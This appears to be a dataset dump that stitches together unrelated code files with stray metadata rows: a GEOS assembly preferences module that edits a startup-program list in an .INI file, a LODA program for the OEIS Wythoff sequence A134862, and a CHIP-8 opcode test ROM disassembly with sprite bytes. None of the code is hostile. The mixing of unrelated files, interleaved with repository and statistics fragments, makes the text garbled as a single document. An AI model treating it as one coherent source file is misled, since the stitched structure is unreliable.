33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 35.93617 | 2,999 | 0.65971 |
95173e9aa954bb14ae5127881ef312dcdbb1973f | 15,470 | asm | Assembly | Library/Pref/configui/configuiProgList.asm | NCommander/pcgeos | 0d0a2c20425b32589f313861a00b78546c1da46f | [
"Apache-2.0"
] | null | null | null | Library/Pref/configui/configuiProgList.asm | NCommander/pcgeos | 0d0a2c20425b32589f313861a00b78546c1da46f | [
"Apache-2.0"
] | null | null | null | Library/Pref/configui/configuiProgList.asm | NCommander/pcgeos | 0d0a2c20425b32589f313861a00b78546c1da46f | [
"Apache-2.0"
] | null | null | null | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Designs in Light 2002 -- All Rights Reserved
FILE: configuiProgList.asm
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ProgListCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LockArrayForList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Lock the array for the list, creating if necessary
CALLED BY: UTILITY
PASS: *ds:si - ConfigUIListClass object
*ds:si - chunk array
^lbx:si - chunk array
RETURN: none
DESTROYED: none
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LockArrayForList proc near
class ConfigUIListClass
uses ax, di
.enter
push si
call getArray
tst bx ;any array?
jz createArray ;branch if not
pop ax ;throw away chunk
lockArray:
call MemLock
mov ds, ax
.leave
ret
getArray:
mov di, ds:[si]
add di, ds:[di].ConfigUIList_offset
movdw bxsi, ds:[di].CUILI_array
retn
createArray:
pop si ;*ds:si <- list object
push cx, dx, bp
mov ax, MSG_PREF_DYNAMIC_LIST_BUILD_ARRAY
call ObjCallInstanceNoLock
pop cx, dx, bp
call getArray
jmp lockArray
LockArrayForList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConfigUIListInitUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the startup list UI
CALLED BY: MSG_CUIL_INIT_UI
PASS: *ds:si - ConfigUIListClass object
RETURN: none
DESTROYED: ax, cx, dx, di
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConfigUIListInitUI method dynamic ConfigUIListClass,
MSG_CUIL_INIT_UI
uses bp
.enter
;
; Initialize the list for how many items we found
;
push ds, si
call LockArrayForList
call ChunkArrayGetCount ;cx <- # items
call MemUnlock
pop ds, si
mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE
call ObjCallInstanceNoLock
;
; set no selection, and update status
;
mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED
clr dx ;dx <- not indtrmnt.
call ObjCallInstanceNoLock
mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG
clr cx ;cx <- not modifide
call ObjCallInstanceNoLock
.leave
ret
ConfigUIListInitUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConfigUIListMarkDirty, MarkNotDirty
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Mark the list dirty
CALLED BY: MSG_CUIL_MARK_DIRTY
PASS: *ds:si - ConfigUIListClass object
RETURN: none
DESTROYED: ax, cx, dx, di
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConfigUIListMarkDirty method dynamic ConfigUIListClass,
MSG_CUIL_MARK_DIRTY
mov ds:[di].CUILI_dirty, TRUE
ret
ConfigUIListMarkDirty endm
ConfigUIListMarkNotDirty method dynamic ConfigUIListClass,
MSG_CUIL_MARK_NOT_DIRTY
mov ds:[di].CUILI_dirty, FALSE
ret
ConfigUIListMarkNotDirty endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConfigUIListReset
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset to our previous settings
CALLED BY: PrefMgr
PASS: *ds:si - ConfigUIListClass object
ds:di - ConfigUIListClass object
RETURN: none
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConfigUIListReset method dynamic ConfigUIListClass,
MSG_GEN_RESET
;
; Free the old array, if any
;
clr bx
xchg bx, ds:[di].CUILI_array.handle
tst bx ;any array?
jz rebuildArray ;branch if not
call MemFree
;
; Go rebuild a new one
;
rebuildArray:
mov ax, MSG_PREF_DYNAMIC_LIST_BUILD_ARRAY
GOTO ObjCallInstanceNoLock
ConfigUIListReset endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConfigUIListHasStateChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return whether anything has changed
CALLED BY: PrefMgr
PASS: *ds:si - ConfigUIStartupListClass object
ds:di - ConfigUIStartupListClass object
RETURN: carry - set if changed
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConfigUIListHasStateChanged method dynamic ConfigUIListClass,
MSG_PREF_HAS_STATE_CHANGED
tst ds:[di].CUILI_dirty ;clears carry
jz done ;branch if not dirty
stc ;carry <- changed
done:
ret
ConfigUIListHasStateChanged endm
;--------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartupListBuildArray
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create the list of startup apps
CALLED BY: PrefMgr
PASS: *ds:si - ConfigUIStartupListClass object
ds:di - ConfigUIStartupListClass object
RETURN: none
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
uiCat2 char "ui", 0
startupKey char "execOnStartup",0
StartupListBuildArray method dynamic StartupListClass,
MSG_PREF_DYNAMIC_LIST_BUILD_ARRAY
.enter
push ds:OLMBH_header.LMBH_handle
push si
;
; Create an lmem block for our array
;
mov ax, LMEM_TYPE_GENERAL ;ax <- LMemType
clr cx ;cx <- default header
call MemAllocLMem
call MemLock
mov ds, ax ;ds <- seg addr
push bx ;save array block
;
; Create a chunk array
;
clr bx ;bx <- extra data
clr cx ;cx <- default header
clr si ;si <- alloc block
call NameArrayCreate
mov bx, si ;*ds:bx <- chunkarray
push si ;save array chunk
;
; Enumerate the execOnStartup string section
;
segmov es, ds ;es <- obj block
segmov ds, cs, cx
mov si, offset uiCat2 ;ds:si <- category
mov dx, offset startupKey ;cx:dx <- key
mov di, cs
mov ax, offset StartupListBuildCallback
mov bp, InitFileReadFlags <IFCC_INTACT, 0, 0, 0>
call InitFileEnumStringSection
;
; Save the array optr for later
;
pop ax ;ax <- array chunk
pop bx ;bx <- array block
mov dx, bx
call MemUnlock
pop si
pop bx ;^lbx:si <- object
call MemDerefDS
mov di, ds:[si]
add di, ds:[di].ConfigUIList_offset
movdw ds:[di].CUILI_array, dxax
;
; Initialize the list and mark not dirty
;
mov ax, MSG_CUIL_INIT_UI
call ObjCallInstanceNoLock
mov ax, MSG_CUIL_MARK_NOT_DIRTY
call ObjCallInstanceNoLock
.leave
ret
StartupListBuildArray endm
;
; Pass:
; ds:si - string section
; dx - section #
; cx - length of section
; *es:bx - chunkarray
; Return:
; carry - set to stop enum
; es - fixed up
;
StartupListBuildCallback proc far
uses bx, di
.enter
segxchg es, ds
mov di, si ;es:di <- name
mov si, bx ;*ds:si <- chunkarray
clr bx ;bx <- NameArrayAddFlag
call NameArrayAdd
segmov es, ds ;return updated es
clc ;carry <- keep going
.leave
ret
StartupListBuildCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartupListGetMoniker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get a particular moniker
CALLED BY: PrefMgr
PASS: *ds:si - StartupListClass object
ds:di - StartupListClass object
ss:bp - GetItemMonikerParams
RETURN: bp - # of chars returned
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StartupListGetMoniker method dynamic StartupListClass,
MSG_PREF_ITEM_GROUP_GET_ITEM_MONIKER
.enter
;
; Get the specified element
;
call LockArrayForList
mov ax, ss:[bp].GIMP_identifier
call ChunkArrayElementToPtr
jc noItem ;branch if not found
;
; Copy it into the buffer
;
sub cx, (size RefElementHeader)
cmp cx, ss:[bp].GIMP_bufferSize
ja noItem ;branch if too large
lea si, ds:[di][RefElementHeader] ;ds:si <- name
les di, ss:[bp].GIMP_buffer ;es:di <- dest
mov bp, cx ;bp <- # chars
rep movsb ;copy me
LocalClrChar ax
LocalPutChar esdi, ax ;NULL terminate
;
; Unlock the array
;
done:
call MemUnlock
.leave
ret
noItem:
clr bp ;bp <- item ignored
jmp done
StartupListGetMoniker endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartupListProgramSelected
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: A program has been selected
CALLED BY: PrefMgr
PASS: *ds:si - StartupListClass object
ds:di - StartupListClass object
bp - # of selections
RETURN: none
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StartupListProgramSelected method dynamic StartupListClass,
MSG_SL_STARTUP_PROGRAM_SELECTED
;
; Enable the Remove trigger if anything is selected
;
mov ax, MSG_GEN_SET_ENABLED
tst bp ;any selection?
jnz gotMessage ;branch if so
mov ax, MSG_GEN_SET_NOT_ENABLED
gotMessage:
mov si, offset RemoveAppTrigger
mov dl, VUM_NOW
GOTO ObjCallInstanceNoLock
StartupListProgramSelected endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartupListDeleteProgram
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete the selected program
CALLED BY: PrefMgr
PASS: *ds:si - StartupListClass object
ds:di - StartupListClass object
RETURN: none
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StartupListDeleteProgram method dynamic StartupListClass,
MSG_SL_DELETE_PROGRAM
.enter
;
; Get the currently selected program, if any
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjCallInstanceNoLock
jc noneSelected ;branch if no selection
;
; Delete the selected program
;
push ds, si
call LockArrayForList
mov cx, 1 ;cx <- delete 1 item
call ChunkArrayDeleteRange ;uses element #
call MemUnlock
pop ds, si
;
; Update the list and mark it dirty
;
mov ax, MSG_CUIL_INIT_UI
call ObjCallInstanceNoLock
mov ax, MSG_CUIL_MARK_DIRTY
call ObjCallInstanceNoLock
;
; Indicate no selections -- disable the Remove trigger
;
clr bp ;bp <- no selections
mov ax, MSG_SL_STARTUP_PROGRAM_SELECTED
call ObjCallInstanceNoLock
noneSelected:
.leave
ret
StartupListDeleteProgram endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartupListAddProgram
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add a program from the file selector
CALLED BY: PrefMgr
PASS: *ds:si - StartupListClass object
ds:di - StartupListClass object
RETURN: none
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StartupListAddProgram method dynamic StartupListClass,
MSG_SL_ADD_PROGRAM
tailBuffer local PATH_BUFFER_SIZE+FILE_LONGNAME_BUFFER_SIZE dup (TCHAR)
pathBuffer local PATH_BUFFER_SIZE+FILE_LONGNAME_BUFFER_SIZE dup (TCHAR)
.enter
;
; Get rid of the dialog
;
push bp, si
mov cx, IC_DISMISS
mov ax, MSG_GEN_INTERACTION_ACTIVATE_COMMAND
mov si, offset AddAppDialog
call ObjCallInstanceNoLock
pop bp, si
;
; Get the full path of the selection
;
push bp, si
mov si, offset AddAppSelector
mov cx, ss
lea dx, ss:tailBuffer
mov ax, MSG_GEN_FILE_SELECTOR_GET_FULL_SELECTION_PATH
call ObjCallInstanceNoLock
mov cx, bp ;cx <- GenFileSelectorEntryFlags
pop bp, si
;
; Make sure it is a program
;
andnf cx, mask GFSEF_TYPE
cmp cx, GFSET_FILE shl offset GFSEF_TYPE
jne done ;branch if not
;
; See if it is a reasonable standard path where we might find
; a program
;
lea di, ss:tailBuffer ;di <- buffer
segmov es, ss ;es:di <- name
cmp ax, SP_APPLICATION
je gotDir
cmp ax, SP_SYS_APPLICATION
je gotDir
;
; Not a reasonable looking path -- construct the path representing
; the disk handle and file
;
push ds, si
mov bx, ax ;bx <- disk handle
segmov ds, ss, ax
mov es, ax
lea si, ss:tailBuffer ;ds:si <- tail
lea di, ss:pathBuffer ;es:di <- buffer
mov dx, 1 ;dx <- include drive
mov cx, (size pathBuffer) ;cx <- size
call FileConstructFullPath
pop ds, si
lea di, ss:pathBuffer ;di <- path
segmov es, ss ;es:di <- name
;
; Add the selected program
;
addProgram:
push ds, si
call LockArrayForList
push bx
clr cx ;cx <- NULL terminated
clr bx ;bx <- NameArrayAddFlag
call NameArrayAdd
pop bx
call MemUnlock
pop ds, si
;
; Update the list and mark the list dirty
;
mov ax, MSG_CUIL_INIT_UI
call ObjCallInstanceNoLock
mov ax, MSG_CUIL_MARK_DIRTY
call ObjCallInstanceNoLock
done:
.leave
ret
;
; Skip any leading backslash
;
gotDir:
cmp {TCHAR}es:[di], '\\' ;leading backslash?
jne addProgram ;branch if not
LocalNextChar esdi ;skip backslash
jmp addProgram
StartupListAddProgram endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StartupListSaveOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Save our settings to the .INI file
CALLED BY: PrefMgr
PASS: *ds:si - StartupListClass object
ds:di - StartupListClass object
RETURN: none
DESTROYED: bx, cx, dx, di, bp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StartupListSaveOptions method dynamic StartupListClass,
MSG_META_SAVE_OPTIONS
uses si
.enter
;
; Is there an array?
;
clr bx
xchg bx, ds:[di].CUILI_array.handle
tst bx ;any array?
jz done ;branch if not
mov si, ds:[di].CUILI_array.chunk
;
; Delete the existing string section
;
push si
segmov ds, cs, cx
mov si, offset uiCat2 ;ds:si <- category
mov dx, offset startupKey ;cx:dx <- key
call InitFileDeleteEntry
pop si
;
; See if there's anything to save
;
call MemLock
mov ds, ax
call ChunkArrayGetCount
jcxz freeArray ;branch if nothing
;
; Loop through the strings in our array and add them
;
push bx
mov bx, cs
mov di, offset SaveOptionsCallback
call ChunkArrayEnum
pop bx
;
; Free the array
;
freeArray:
call MemFree
done:
.leave
ret
StartupListSaveOptions endm
SaveOptionsCallback proc far
uses di, si, es, ds
pathBuffer local PATH_BUFFER_SIZE+FILE_LONGNAME_BUFFER_SIZE dup (TCHAR)
.enter
;
; Copy the silly path to a buffer so we can NULL-terminate it
;
mov cx, ax ;cx <- size
lea si, ds:[di][RefElementHeader]
sub cx, (size RefElementHeader) ;cx <- # bytes
lea di, ss:pathBuffer
segmov es, ss ;es:di <- string
rep movsb ;copy me
LocalClrChar ax
LocalPutChar esdi, ax ;NULL terminate
;
; Write out the string
;
lea di, ss:pathBuffer
segmov es, ss ;es:di <- string
segmov ds, cs, cx
mov si, offset uiCat2 ;ds:si <- category
mov dx, offset startupKey ;cx:dx <- key
call InitFileWriteStringSection
.leave
ret
SaveOptionsCallback endp
ProgListCode ends
| 24.323899 | 79 | 0.579573 |
4fd137ec200aae1503e51b3b0f88bc0aa2483702 | 731 | asm | Assembly | programs/oeis/134/A134862.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/134/A134862.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/134/A134862.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A134862: Wythoff ABB numbers.
; 8,21,29,42,55,63,76,84,97,110,118,131,144,152,165,173,186,199,207,220,228,241,254,262,275,288,296,309,317,330,343,351,364,377,385,398,406,419,432,440,453,461,474,487,495,508,521,529,542,550,563,576,584,597
mov $3,$0
mov $4,$0
add $4,1
lpb $4
mov $0,$3
sub $4,1
sub $0,$4
mov $7,$0
mov $9,2
lpb $9
sub $9,1
add $0,$9
sub $0,1
mov $2,$0
mov $6,$0
lpb $2
add $6,1
lpb $6
mov $6,$2
add $2,2
pow $6,2
lpe
sub $2,1
add $6,$0
lpe
mov $5,$2
mov $10,$9
lpb $10
mov $8,$5
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$5
lpe
mov $5,$8
mul $5,5
add $5,8
add $1,$5
lpe
| 16.244444 | 207 | 0.500684 |
f920f7b1b7fc6bacf845f6aa2bd11cb0ebeb54d1 | 8,072 | asm | Assembly | asm/BC_test.ch8.asm | hasii2011/Chip8Emulator | 96be8c0d01ccae0492ce0f980af905ec5c690f1a | [
"MIT"
] | null | null | null | asm/BC_test.ch8.asm | hasii2011/Chip8Emulator | 96be8c0d01ccae0492ce0f980af905ec5c690f1a | [
"MIT"
] | 8 | 2019-08-12T23:33:12.000Z | 2020-12-09T01:31:17.000Z | asm/BC_test.ch8.asm | hasii2011/Chip8Emulator | 96be8c0d01ccae0492ce0f980af905ec5c690f1a | [
"MIT"
] | null | null | null | ; Setting used by the chipper assembler
option schip11
option binary
align off
; Recursive Disassembly
End of file
0x0200 cls
0x0202 ld v3, #00
0x0204 ld v4, #01
0x0206 ld v5, #ee
0x0208 se v5, #ee
0x020a jp loc_0310
0x020c ld v3, #00
0x020e ld v4, #02
0x0210 ld v5, #ee
0x0212 ld v6, #ee
0x0214 se v5, v6
0x0216 jp loc_0310
0x0218 ld v3, #00
0x021a ld v4, #03
0x021c ld v5, #ee
0x021e sne v5, #fd
0x0220 jp loc_0310
0x0222 ld v3, #00
0x0224 ld v4, #04
0x0226 ld v5, #ee
0x0228 add v5, #01
0x022a se v5, #ef
0x022c jp loc_0310
0x022e ld v3, #00
0x0230 ld v4, #05
0x0232 ld vf, #01
0x0234 ld v5, #ee
0x0236 ld v6, #ef
0x0238 sub v5, v6
0x023a se vf, #00
0x023c jp loc_0310
0x023e ld v3, #00
0x0240 ld v4, #06
0x0242 ld vf, #00
0x0244 ld v5, #ef
0x0246 ld v6, #ee
0x0248 sub v5, v6
0x024a se vf, #01
0x024c jp loc_0310
0x024e ld vf, #00
0x0250 ld v3, #00
0x0252 ld v4, #07
0x0254 ld v5, #ee
0x0256 ld v6, #ef
0x0258 subn v5, v6
0x025a se vf, #01
0x025c jp loc_0310
0x025e ld v3, #00
0x0260 ld v4, #08
0x0262 ld vf, #01
0x0264 ld v5, #ef
0x0266 ld v6, #ee
0x0268 subn v5, v6
0x026a se vf, #00
0x026c jp loc_0310
0x026e ld v3, #00
0x0270 ld v4, #09
0x0272 ld v5, #f0
0x0274 ld v6, #0f
0x0276 or v5, v6
0x0278 se v5, #ff
0x027a jp loc_0310
0x027c ld v3, #01
0x027e ld v4, #00
0x0280 ld v5, #f0
0x0282 ld v6, #0f
0x0284 and v5, v6
0x0286 se v5, #00
0x0288 jp loc_0310
0x028a ld v3, #01
0x028c ld v4, #01
0x028e ld v5, #f0
0x0290 ld v6, #0f
0x0292 xor v5, v6
0x0294 se v5, #ff
0x0296 jp loc_0310
0x0298 ld vf, #00
0x029a ld v3, #01
0x029c ld v4, #02
0x029e ld v5, #81
0x02a0 shl v5
0x02a2 se vf, #01
0x02a4 jp loc_0310
0x02a6 ld v3, #01
0x02a8 ld v4, #03
0x02aa ld vf, #01
0x02ac ld v5, #47
0x02ae shl v5
0x02b0 se vf, #00
0x02b2 jp loc_0310
0x02b4 ld v3, #01
0x02b6 ld v4, #04
0x02b8 ld vf, #00
0x02ba ld v5, #01
0x02bc shr v5
0x02be se vf, #01
0x02c0 jp loc_0310
0x02c2 ld v3, #01
0x02c4 ld v4, #05
0x02c6 ld vf, #01
0x02c8 ld v5, #02
0x02ca shr v5
0x02cc se vf, #00
0x02ce jp loc_0310
0x02d0 ld v3, #01
0x02d2 ld v4, #06
0x02d4 ld v0, #15
0x02d6 ld v1, #78
0x02d8 ld I, #03d0
0x02da ld [I], v1
0x02dc ld v1, [I]
0x02de se v0, #15
0x02e0 jp loc_0310
0x02e2 se v1, #78
0x02e4 jp loc_0310
0x02e6 ld v3, #01
0x02e8 ld v4, #07
0x02ea ld v0, #8a
0x02ec ld I, #03d0
0x02ee ld b, v0
0x02f0 ld I, #03d0
0x02f2 ld v0, [I]
0x02f4 se v0, #01
0x02f6 jp loc_0310
0x02f8 ld v0, #01
0x02fa add I, v0
0x02fc ld v0, [I]
0x02fe se v0, #03
0x0300 jp loc_0310
0x0302 ld v0, #01
0x0304 add I, v0
0x0306 ld v0, [I]
0x0308 se v0, #08
0x030a jp loc_0310
0x030c jp loc_0332
loc_030e: ; == START OF CODE BLOCK ==
0x030e jp loc_030e
loc_0310: ; == START OF CODE BLOCK ==
0x0310 ld I, #032a
0x0312 ld v0, #13
0x0314 ld v1, #09
0x0316 drw v0, v1, #8
0x0318 ld f, v3
0x031a ld v0, #22
0x031c ld v1, #0b
0x031e drw v0, v1, #5
0x0320 ld f, v4
0x0322 ld v0, #28
0x0324 ld v1, #0b
0x0326 drw v0, v1, #5
0x0328 jp loc_030e
0x032a db #ff ;GRAPHIC = ########
0x032b db #f0 ;GRAPHIC = ####
0x032c db #f0 ;GRAPHIC = ####
0x032d db #ff ;GRAPHIC = ########
0x032e db #f0 ;GRAPHIC = ####
0x032f db #f0 ;GRAPHIC = ####
0x0330 db #f0 ;GRAPHIC = ####
0x0331 db #ff ;GRAPHIC = ########
loc_0332: ; == START OF CODE BLOCK ==
0x0332 ld I, #0358
0x0334 ld v0, #15
0x0336 ld v1, #0b
0x0338 ld v3, #08
loc_033a: ; == START OF CODE BLOCK ==
0x033a drw v0, v1, #8
0x033c add v0, #08
0x033e add I, v3
0x0340 se v0, #2d
0x0342 jp loc_033a
0x0344 ld I, #0370
0x0346 ld v0, #02
0x0348 ld v1, #18
0x034a ld v3, #08
loc_034c: ; == START OF CODE BLOCK ==
0x034c drw v0, v1, #8
0x034e add v0, #05
0x0350 add I, v3
0x0352 se v0, #3e
0x0354 jp loc_034c
0x0356 jp loc_030e
0x0358 db #f0 ;GRAPHIC = ####
0x0359 db #88 ;GRAPHIC = # #
0x035a db #88 ;GRAPHIC = # #
0x035b db #f0 ;GRAPHIC = ####
0x035c db #88 ;GRAPHIC = # #
0x035d db #88 ;GRAPHIC = # #
0x035e db #88 ;GRAPHIC = # #
0x035f db #f0 ;GRAPHIC = ####
0x0360 db #78 ;GRAPHIC = #### ASCII(x)
0x0361 db #84 ;GRAPHIC = # #
0x0362 db #84 ;GRAPHIC = # #
0x0363 db #84 ;GRAPHIC = # #
0x0364 db #84 ;GRAPHIC = # #
0x0365 db #84 ;GRAPHIC = # #
0x0366 db #84 ;GRAPHIC = # #
0x0367 db #78 ;GRAPHIC = #### ASCII(x)
0x0368 db #84 ;GRAPHIC = # #
0x0369 db #c4 ;GRAPHIC = ## #
0x036a db #a4 ;GRAPHIC = # # #
0x036b db #94 ;GRAPHIC = # # #
0x036c db #8c ;GRAPHIC = # ##
0x036d db #84 ;GRAPHIC = # #
0x036e db #84 ;GRAPHIC = # #
0x036f db #84 ;GRAPHIC = # #
0x0370 db #c0 ;GRAPHIC = ##
0x0371 db #a0 ;GRAPHIC = # #
0x0372 db #a0 ;GRAPHIC = # #
0x0373 db #c0 ;GRAPHIC = ##
0x0374 db #a0 ;GRAPHIC = # #
0x0375 db #a0 ;GRAPHIC = # #
0x0376 db #c0 ;GRAPHIC = ##
0x0377 db #00 ;GRAPHIC =
0x0378 db #00 ;GRAPHIC =
0x0379 db #00 ;GRAPHIC =
0x037a db #a0 ;GRAPHIC = # #
0x037b db #a0 ;GRAPHIC = # #
0x037c db #e0 ;GRAPHIC = ###
0x037d db #20 ;GRAPHIC = #
0x037e db #20 ;GRAPHIC = #
0x037f db #e0 ;GRAPHIC = ###
0x0380 db #00 ;GRAPHIC =
0x0381 db #00 ;GRAPHIC =
0x0382 db #00 ;GRAPHIC =
0x0383 db #00 ;GRAPHIC =
0x0384 db #00 ;GRAPHIC =
0x0385 db #00 ;GRAPHIC =
0x0386 db #00 ;GRAPHIC =
0x0387 db #00 ;GRAPHIC =
0x0388 db #c0 ;GRAPHIC = ##
0x0389 db #a0 ;GRAPHIC = # #
0x038a db #a0 ;GRAPHIC = # #
0x038b db #c0 ;GRAPHIC = ##
0x038c db #a0 ;GRAPHIC = # #
0x038d db #a0 ;GRAPHIC = # #
0x038e db #c0 ;GRAPHIC = ##
0x038f db #00 ;GRAPHIC =
0x0390 db #00 ;GRAPHIC =
0x0391 db #00 ;GRAPHIC =
0x0392 db #60 ;GRAPHIC = ## ASCII(`)
0x0393 db #a0 ;GRAPHIC = # #
0x0394 db #c0 ;GRAPHIC = ##
0x0395 db #80 ;GRAPHIC = #
0x0396 db #60 ;GRAPHIC = ## ASCII(`)
0x0397 db #00 ;GRAPHIC =
0x0398 db #00 ;GRAPHIC =
0x0399 db #00 ;GRAPHIC =
0x039a db #60 ;GRAPHIC = ## ASCII(`)
0x039b db #80 ;GRAPHIC = #
0x039c db #40 ;GRAPHIC = # ASCII(@)
0x039d db #20 ;GRAPHIC = #
0x039e db #c0 ;GRAPHIC = ##
0x039f db #00 ;GRAPHIC =
0x03a0 db #80 ;GRAPHIC = #
0x03a1 db #80 ;GRAPHIC = #
0x03a2 db #c0 ;GRAPHIC = ##
0x03a3 db #80 ;GRAPHIC = #
0x03a4 db #80 ;GRAPHIC = #
0x03a5 db #80 ;GRAPHIC = #
0x03a6 db #60 ;GRAPHIC = ## ASCII(`)
0x03a7 db #00 ;GRAPHIC =
0x03a8 db #e0 ;GRAPHIC = ###
0x03a9 db #80 ;GRAPHIC = #
0x03aa db #80 ;GRAPHIC = #
0x03ab db #80 ;GRAPHIC = #
0x03ac db #80 ;GRAPHIC = #
0x03ad db #80 ;GRAPHIC = #
0x03ae db #e0 ;GRAPHIC = ###
0x03af db #00 ;GRAPHIC =
0x03b0 db #00 ;GRAPHIC =
0x03b1 db #00 ;GRAPHIC =
0x03b2 db #40 ;GRAPHIC = # ASCII(@)
0x03b3 db #a0 ;GRAPHIC = # #
0x03b4 db #a0 ;GRAPHIC = # #
0x03b5 db #a0 ;GRAPHIC = # #
0x03b6 db #40 ;GRAPHIC = # ASCII(@)
0x03b7 db #00 ;GRAPHIC =
0x03b8 db #20 ;GRAPHIC = #
0x03b9 db #20 ;GRAPHIC = #
0x03ba db #20 ;GRAPHIC = #
0x03bb db #60 ;GRAPHIC = ## ASCII(`)
0x03bc db #a0 ;GRAPHIC = # #
